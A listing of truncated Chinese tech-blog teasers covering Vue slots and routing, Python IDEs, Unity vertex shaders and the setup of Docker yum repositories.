前端:Vue学习-3 1. 自定义指令2. 插槽2.1 插槽 - 后备内容(默认值)2.2 插槽 - 具名插槽2.3 插槽 - 作用域插槽 3. Vue - 路由3.1 路由模块封装3.2 声明式导航 router-link 高亮3.3 自定义匹配的类名3.4 声明式导肮 - 跳转传参3.5 Vue路由 - 重…

这6款Python IDE代码编辑器,你都用过吗?

工欲善其事,必先利其器,选择编辑器或IDE(集成开发环境)是学习python编程的第二件大事。 Python开发工具有很多,诸如IDLE、Pycharm、Spyder、EclipsePydev、VScode、Wing、Jupyter等,可以说各有千秋。 新手…

Unity | Shader基础知识(第十九集:顶点着色器的进一步理解-易错点讲解)

目录 一、前言 二、网格 三、方法UnityObjectToClipPos 四、顶点着色器和片元着色器的POSITION 五、作者的碎碎念 一、前言 之前我们简单讲解过顶点着色器,也简单讲解了表面着色器,并且一起做了一些案例,因为顶点着色器本身是更自由一些…

docker基础镜像

一、配置 docker 本地源 [docker-ce-stable] nameDocker CE Stable baseurlhttp://10.35.186.181/docker-ce-stable/ enabled1 gpgcheck0 配置阿里云Docker Yum源 yum install -y yum-utils device-mapper-persistent-data lvm2 git yum-config-manager --add-repo http://mirr…